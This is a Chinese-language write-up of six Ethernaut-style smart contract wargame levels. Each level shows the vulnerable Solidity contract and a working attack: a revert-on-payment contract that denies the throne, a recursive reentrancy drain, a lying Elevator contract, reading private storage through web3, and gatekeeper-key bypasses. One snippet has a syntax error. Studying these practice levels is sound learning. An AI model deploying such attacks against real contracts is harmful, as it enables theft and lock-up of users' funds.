0x00 King
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| pragma solidity ^0.4.18;
import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
contract King is Ownable {
address public king; uint public prize;
function King() public payable { king = msg.sender; prize = msg.value; }
function() external payable { require(msg.value >= prize || msg.sender == owner); king.transfer(msg.value); king = msg.sender; prize = msg.value; } }
|
这道题目标是阻止其他人成为King,先看看合约的逻辑,非常简单,价高者为King,而且会将前任King的钱退回去。
这里的漏洞点应该在transfer函数,查阅手册后我们知道,transfer函数在失败后会抛出错误并进行回滚,那如果我们在这一步一直抛出错误,代码就进行不下去,其他人也就无法成为King。
那就构造一个合约来完成,在收到转账时,默认会调用callback函数,看来我们需要再callback上下文章,我们让callback直接抛出错误,这样就可以达成目标。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| pragma solidity ^0.4.18;
contract attack { address to = 0x899c36c7b5ae649ee646868a042cb479dde98da0; function pay() payable { } function sendto() public{ to.send(1.05 ether); } function () public{ revert(); } }
|
0x01 Re-entrancy
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| pragma solidity ^0.4.18;
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';
contract Reentrance { using SafeMath for uint256; mapping(address => uint) public balances;
function donate(address _to) public payable { balances[_to] = balances[_to].add(msg.value); }
function balanceOf(address _who) public view returns (uint balance) { return balances[_who]; }
function withdraw(uint _amount) public { if(balances[msg.sender] >= _amount) { if(msg.sender.call.value(_amount)()) { _amount; } balances[msg.sender] -= _amount; } }
function() public payable {} }
|
这道题就是著名的重入漏洞,首先我们学习几个solidity的基础知识
- 当发送失败时会
throw;
回滚状态
- 只会传递部分 Gas 供调用,防止重入(reentrancy)
- 当发送失败时会返回 false
- 只会传递部分 Gas 供调用,防止重入(reentrancy)
- 当发送失败时会返回 false
- 传递所有可用 Gas 供调用,不能有效防止重入(reentrancy)
可以发现,该合约中使用的正是危险的call.value()()
函数。我们可以借此攻击,攻击的原理是,合约会先检查用户的余额,通过测试之后给用户转账,然后扣除相应的余额,那么我们已经知道了,转账操作会调用目标账户的callback函数,若我们在callback函数里再次调用了这里的withdraw,那么会再次执行转账操作,因为余额没有被扣除,所以我们可以递归的将该钱包里面的所有钱都转账出来。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| contract Attack {
address instance_address = 0xc9402d058d2fcbae5dd29ea4762950af00504ecf; Reentrance target = Reentrance(instance_address);
function Attack() payable{}
function donate() public payable { target.donate.value(msg.value)(this); }
function hack() public { target.withdraw(0.5 ether); }
function get_balance() public view returns(uint) { return target.balanceOf(this); }
function my_eth_bal() public view returns(uint) { return address(this).balance; }
function ins_eth_bal() public view returns(uint) { return instance_address.balance; }
function () public payable { target.withdraw(0.5 ether); } }
|
0x02 Elevator
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| pragma solidity ^0.4.18;
interface Building { function isLastFloor(uint) view public returns (bool); }
contract Elevator { bool public top; uint public floor;
function goTo(uint _floor) public { Building building = Building(msg.sender);
if (! building.isLastFloor(_floor)) { floor = _floor; top = building.isLastFloor(floor); } } }
|
solidity这个view里面居然也是可以修改值的,跪了。
直接实现isLastFloor()就好
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| pragma solidity ^0.4.18;
interface Building { function isLastFloor(uint) view public returns (bool); }
contract Elevator { bool public top; uint public floor;
function goTo(uint _floor) public { Building building = Building(msg.sender);
if (! building.isLastFloor(_floor)) { floor = _floor; top = building.isLastFloor(floor); } } }
contract Attack {
address to = 0xe4ab1eeb930a4425f5ef9da4f227c40b9b5cc688; Elevator target = Elevator(to); bool public isLast = true;
function isLastFloor(uint) public returns (bool) { isLast = ! isLast; return isLast; }
function hack() public { target.goTo(1024); }
}
|
0x03 Privacy
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| pragma solidity ^0.4.18;
contract Privacy {
bool public locked = true; uint256 public constant ID = block.timestamp; uint8 private flattening = 10; uint8 private denomination = 255; uint16 private awkwardness = uint16(now); bytes32[3] private data;
function Privacy(bytes32[3] _data) public { data = _data; } function unlock(bytes16 _key) public { require(_key == bytes16(data[2])); locked = false; }
}
|
跟上面的一道题很像,让我们unlock,那么这里需要读的是转成bytes16的data[2],我们用一用的方法吧存储的全部数据拿出来。
1 2 3 4 5 6 7 8 9 10 11
| web3.eth.getStorageAt(contract.address, 0, function(x, y) {alert(y)}); web3.eth.getStorageAt(contract.address, 1, function(x, y) {alert(y)}); web3.eth.getStorageAt(contract.address, 2, function(x, y) {alert(y)}); web3.eth.getStorageAt(contract.address, 3, function(x, y) {alert(y)}); web3.eth.getStorageAt(contract.address, 4, function(x, y) {alert(y)}); 数据为: 0x0000000000000000000000000000000000000000000000000000009c4dff0a01 0x51641dba3274da0e774037dd4d31623ea60791e676bd23e5553e44ddc6ebd9eb 0xdde5a3957f1e722b01876b459dc5799e91ccc6ab3355a28148246da3c2b41b2f 0xbe7bdb66b7bf731ae259bf386e303a8c892596c3241c9d1ede6a51c3141901a8
|
因为定义的data数组是bytes32的,所以data[2]就是最后一行的数据,转成16位,就取前16位就OK
0x04 Gatekeeper One
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| pragma solidity ^0.4.18;
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';
contract GatekeeperOne {
using SafeMath for uint256; address public entrant;
modifier gateOne() { require(msg.sender != tx.origin); _; }
modifier gateTwo() { require(msg.gas.mod(8191) == 0); _; }
modifier gateThree(bytes8 _gateKey) { require(uint32(_gateKey) == uint16(_gateKey)); require(uint32(_gateKey) != uint64(_gateKey)); require(uint32(_gateKey) == uint16(tx.origin)); _; }
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { entrant = tx.origin; return true; } }
|
前两个都可以在合约层面满足,第三个需要从数据的存储出发来构造
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| pragma solidity ^0.4.18;
contract GatekeeperOne {
address public entrant;
modifier gateOne() { require(msg.sender != tx.origin); _; } modifier gateTwo() { require(msg.gas % 8191 == 0); _; } modifier gateThree(bytes8 _gateKey) { require(uint32(_gateKey) == uint16(_gateKey)); require(uint32(_gateKey) != uint64(_gateKey)); require(uint32(_gateKey) == uint16(tx.origin)); _; } function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { entrant = tx.origin; return true; } }
contract Attack {
address instance_address = 0x396523f3d78eef3adf4a062fd2acc570462120c2; bytes8 _gateKey = bytes8(tx.origin) & 0xFFFFFFFF0000FFFF;
GatekeeperOne target = GatekeeperOne(instance_address);
function hack() public { target.enter.gas(819100), _gateKey); } }
|
0x05 Gatekeeper Two
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| pragma solidity ^0.4.18;
contract GatekeeperTwo {
address public entrant;
modifier gateOne() { require(msg.sender != tx.origin); _; }
modifier gateTwo() { uint x; assembly { x := extcodesize(caller) } require(x == 0); _; }
modifier gateThree(bytes8 _gateKey) { require(uint64(keccak256(msg.sender)) ^ uint64(_gateKey) == uint64(0) - 1); _; }
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { entrant = tx.origin; return true; } }
|
第一关好绕,第三关是数据层面上的构造,第二层查了一下extcodesize,发现是返回代码长度。。。这该如何是好。
查了大佬的文章后知道这里只要代码在构造函数中就可以了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| pragma solidity ^0.4.18;
contract GatekeeperTwo {
address public entrant;
modifier gateOne() { require(msg.sender != tx.origin); _; }
modifier gateTwo() { uint x; assembly { x := extcodesize(caller) } require(x == 0); _; }
modifier gateThree(bytes8 _gateKey) { require(uint64(keccak256(msg.sender)) ^ uint64(_gateKey) == uint64(0) - 1); _; }
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { entrant = tx.origin; return true; } }
contract Attack {
address to = 0x2bc30f8d14fc4d3dd596e4e72ef8a398f5e9cebc; GatekeeperTwo target = GatekeeperTwo(to);
function Attack(){ target.enter((bytes8)(uint64(keccak256(address(this))) ^ (uint64(0) - 1))); }
}
|
OK,先做到这里。。。剩下的题目。。。。下次一定